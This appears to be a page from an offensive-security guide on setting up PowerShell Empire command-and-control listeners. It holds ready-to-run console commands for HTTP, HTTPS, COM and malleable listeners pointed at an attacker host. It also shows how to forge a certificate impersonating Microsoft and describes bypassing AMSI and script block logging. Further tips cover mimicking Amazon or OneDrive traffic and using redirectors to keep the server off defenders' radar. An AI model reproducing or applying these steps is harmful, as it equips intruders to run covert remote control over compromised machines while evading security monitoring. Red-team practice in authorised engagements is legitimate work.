Skip to main content

2. Listener Setup

Listener Type Comparison​

Choosing the right listener is the first evasion decision you make. Cleartext listeners work fine in a lab - on a monitored network, use HTTPS at minimum.

ListenerProtocolDetection RiskBest For
httpHTTP (cleartext)HighInternal lab testing, non-monitored environments
httpsHTTPS (TLS)MediumEncrypted C2 that blends with normal web traffic
http_comHTTP via COM objectMedium-LowBypassing PowerShell AMSI/script block logging restrictions
http_malleableHTTP with custom profileLowMimicking legitimate application traffic (Teams, O365, CDNs)
caution

http should never be used against a monitored target network. Any SOC with Zeek or Suricata will trivially identify Empire's default HTTP beacon pattern.

HTTP Listener​

Standard setup - use only in a lab or against non-monitored networks.

(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Name http-lab
(Empire: listeners/http) > set Host http://<ATTACKER_IP>
(Empire: listeners/http) > set Port 80
(Empire: listeners/http) > execute

HTTPS Listener (with Custom Certificate)​

Encrypts C2 traffic. Without a custom cert, the default self-signed cert will trigger TLS anomaly alerts on monitored networks. Pair with a custom cert to reduce detection.

Generate a self-signed certificate​

openssl req -new -x509 -keyout /tmp/empire.pem -out /tmp/empire.pem -days 365 -nodes \
  -subj "/C=US/ST=Virginia/L=McLean/O=Microsoft Corporation/CN=microsoft.com"
tip

Use a plausible organization name and CN that matches the traffic profile you are trying to blend with. microsoft.com, windowsupdate.com, or a CDN name are common choices.

Start the HTTPS listener with the custom cert​

(Empire) > listeners
(Empire: listeners) > uselistener https
(Empire: listeners/https) > set Name https-ops
(Empire: listeners/https) > set Host https://<ATTACKER_IP>
(Empire: listeners/https) > set Port 443
(Empire: listeners/https) > set CertPath /tmp/empire.pem
(Empire: listeners/https) > execute
note

CertPath expects a combined PEM file (cert + key in the same file). The openssl command above generates this format.

HTTP_COM Listener​

Routes C2 traffic through the Windows COM WinHttp.WinHttpRequest object rather than PowerShell's native Net.WebClient. This bypasses some AMSI implementations and PowerShell script block logging that inspect Net.WebClient calls.

(Empire: listeners) > uselistener http_com
(Empire: listeners/http_com) > set Name http-com-ops
(Empire: listeners/http_com) > set Host http://<ATTACKER_IP>
(Empire: listeners/http_com) > set Port 8080
(Empire: listeners/http_com) > execute
note

HTTP_COM agents are slightly larger than standard HTTP agents. If HTTPS is available and sufficient for your scenario, prefer it over HTTP_COM - it gives you both encryption and the COM transport benefit.

HTTP_Malleable Listener (Custom C2 Profile)​

The most evasion-capable listener. Uses a Malleable C2 profile (.profile file) to shape all HTTP requests and responses to match legitimate application traffic - headers, URIs, user agents, and response bodies are all configurable.

Obtain or write a profile​

Pre-built profiles are available in the BC-Security Malleable C2 profiles repository. Example profiles mimic: Amazon, Bing, OneDrive, jQuery, Pandoc, and others.

Place the profile on the Empire server:

cp amazon.profile /usr/share/powershell-empire/empire/server/data/profiles/

Start the malleable listener​

(Empire: listeners) > uselistener http_malleable
(Empire: listeners/http_malleable) > set Name malleable-ops
(Empire: listeners/http_malleable) > set Host http://<ATTACKER_IP>
(Empire: listeners/http_malleable) > set Port 80
(Empire: listeners/http_malleable) > set ProfilePath /usr/share/powershell-empire/empire/server/data/profiles/amazon.profile
(Empire: listeners/http_malleable) > execute
tip

For maximum evasion, pair HTTP_Malleable with a redirector (an Apache/nginx front-end that forwards C2 traffic to your Empire server while serving legitimate content to non-agent requests). This keeps the Empire server off the target network's radar.

Listener Management​

# List active listeners
(Empire: listeners) > list

# Kill a listener
(Empire: listeners) > kill <LISTENER_NAME>

# Disable without removing
(Empire: listeners) > disable <LISTENER_NAME>

Help Menu​

listeners Help
(Empire: listeners) > help

┌Help Options──┬─────────────────────────────────────┬──────────────────────────────┐
│ Name         │ Description                         │ Usage                        │
├──────────────┼─────────────────────────────────────┼──────────────────────────────┤
│ disable      │ Disable the selected listener       │ disable <listener_name>      │
├──────────────┼─────────────────────────────────────┼──────────────────────────────┤
│ editlistener │ Edit the selected listener          │ editlistener <listener_name> │
├──────────────┼─────────────────────────────────────┼──────────────────────────────┤
│ enable       │ Enable the selected listener        │ enable <listener_name>       │
├──────────────┼─────────────────────────────────────┼──────────────────────────────┤
│ help         │ Display the help menu for the       │ help                         │
│              │ current menu                        │                              │
├──────────────┼─────────────────────────────────────┼──────────────────────────────┤
│ kill         │ Kill the selected listener          │ kill <listener_name>         │
├──────────────┼─────────────────────────────────────┼──────────────────────────────┤
│ list         │ Get running/available listeners     │ list                         │
├──────────────┼─────────────────────────────────────┼──────────────────────────────┤
│ options      │ Get option details for the selected │ options <listener_name>      │
│              │ listener                            │                              │
└──────────────┴─────────────────────────────────────┴──────────────────────────────┘